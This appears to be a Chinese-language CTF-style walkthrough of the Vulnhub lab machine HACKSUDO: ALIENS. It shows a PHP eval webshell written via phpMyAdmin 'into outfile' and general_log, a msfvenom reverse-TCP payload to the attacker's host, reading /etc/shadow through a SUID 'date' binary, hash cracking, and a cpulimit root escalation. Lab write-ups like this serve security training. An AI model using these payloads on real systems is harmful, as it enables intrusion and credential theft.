Vulnhub_HACKSUDO: ALIENS
0x01->信息收集
首先使用arp-scan
进行主机发现,得知靶机的IP为172.16.10.130
*然后使用*nmap
命令对靶机进行一个基础的服务扫描*
*nmap -sV -p- 172.16.10.130
*发现靶机开启了三个端口,分别为*22
,80
,9000
,其中80
和9000
都是HTTP
服务*
*首先访问其80
端口,发现是一个外星人袭击事件统计的一个页面*
*
*然后再访问其*9000
端口,则发现是一个phpmyadmin
登入页面.*
*
*此刻我直接掏出了我的*dirb
工具,先对其80
端口进行目录扫描*
*dirb http://172.16.10.130
*查看*dirb
的扫描结果,发现靶机的80
端口中还存在一个backup
目录*
但是首先对网站的主页进行一波探索,重新回到主页进行探索*
发现主页上有一个输入框和一个搜索按钮*
*
*一开始以为存在*SQL注入
,但是开启burp suite
工具对网页进行抓包,发现,根本抓不到网页的数据包,继而查看网页的源代码,也没有发现什么有用的信息*
*
*然后就访问刚才从*dirb
工具那边扫描出来的目录backup
下,backup
一般都是备份的目录*
*
*可以看到,*backup
下存在一个mysql.bak
的文件,应该为mysql数据库的备份文件
,将其下载打开查阅其中内容*
*
*文件中存在数据库的用户名和密码*
得到这个密码组合就可以访问其9000
端口,登入它的phpmyadmin
管理后台进行下一步操作*
*
*从*mysql.bak
文件中,得到的用户名和密码成功的登入了phpmyadmin
管理后台,那么此时我们的思路就是从phpmyadmin
这边get shell
进入靶机
PHPmyadmin Get shell
从phpmyadmin
管理后台getshell
方式有很多,但是很多都是需要知道其文件目录才可以写入文件,然后进行访问,那我们这边就先猜测路径为默认路径,也就是/var/www/html
into outfile
这是最常用的一句话木马的写入,但是这个方法会受到secure_file_priv
参数的影响,所以在我们使用这个方法之前,需要先查看secure_file_priv
这参数的设置
首先使用语句select global variables like '%secure%';
可以看到secure_file_priv
这个参数并没有被限制,此时我们使用payload*
*select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php'
*可以看到页面并没有报错,然后再访问导出的路径*http://172.16.10.130/shell.php
*页面也没有爆*404
的错误,此时再用antSword
进行连接*
*
antSword
也是可以成功连接上我们的一句话木马的,那么既然我们猜测的路径是对的,那么也就不止into outfile
这个方法可以,这里我再展示几个姿势
利用general日志文件
除了into outfile
这个方法,还有一种比较简单的,那就是general_log
方法,首先使用这个方法前,我们需要查看这个方法是否开启*
*
*可以看到这里的*general_log
是没有被开启的*
*
*首先开启*general_log
日志文件 set global general_log='on'
,然后再设置这个日志文件的路径*
*
*将*general_log
文件设置在/var/www/html
路径下,而文件名为shell1.php
,这样general_log
日志文件就会被当作php
文件解析,然后输入payloadselect "<?php eval($_POST[cmd]);?>";
在访问文件http://172.16.10.130/shell1.php
提权
那么已经成功的get shell
,那么下一步就是进行提权了,但是虽然是可以用antSword
进行操作,但是个人喜欢用msf
,所以生产一个木马,再反弹一下shell
啦*
*msfvenom -p php/meterpreter/resever_tcp LHOST=172.16.10.152 LPORT=7777 -f raw
*复制生成出来的木马,记得需要把前面的注释去掉,然后利用*antSword
写入靶机
然后本地开启监听,接受反弹回来的shell
*既然拿到*shell
,那首先先查看哪些具有suid
权限的命令*
*find / -user root -perm -4000 -print 2>/dev/null
*这个时候我们可以注意到一个*date
命令,虽然date
命令是用来查看系统的时间的*
*
*但是*date
加上参数-f
是可以读取文件的,那我们就利用这个特性读取一些只有root
才可以读取的文件*
*
*比如*/etc/shadow
文件,因为文件中存储的都是用户名和密码,我们可以通过/etc/shadow
文件来找到root
的密码*
*date -f /etc/shadow > 1.txt
输入命令,将回显都写入1.txt
文件,然而我不知道为什么写入不到1.txt
文件中,于是我就把root
用户和hacksudo
用户的hash
值复制到本地进破解*
*然后利用john
工具进行暴力破解 john 1.txt
*那么虽然没有得到*root
用户的密码,但是好巧不巧搞到了hacksudo
用户的密码,emmm,虽然可能就是应该搞到hacksudo
用户的密码*
*然后我们尝试使用ssh
利用hacksudo
用户的身份登入靶机*
*ssh [email protected]
这个时候利用hacksudo
的身份查找一遍有suid
权限的命令*
*
*多了一个*cpulimit
的命令,但是本人菜的一批,没有见到过这个命令,于是只能百度啦*
*经过百度,直接执行/home/hacksudo/Downloads/cpulimit -l 100 -f -- /bin/sh -p
就可以拿到root
的shell
*附上一张百度出来的图片*
既然已经成功的提权,那么接下来就是最光荣的cat /root/flag
了
成功的拿到Flag,也就意味着这个靶机的结束!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论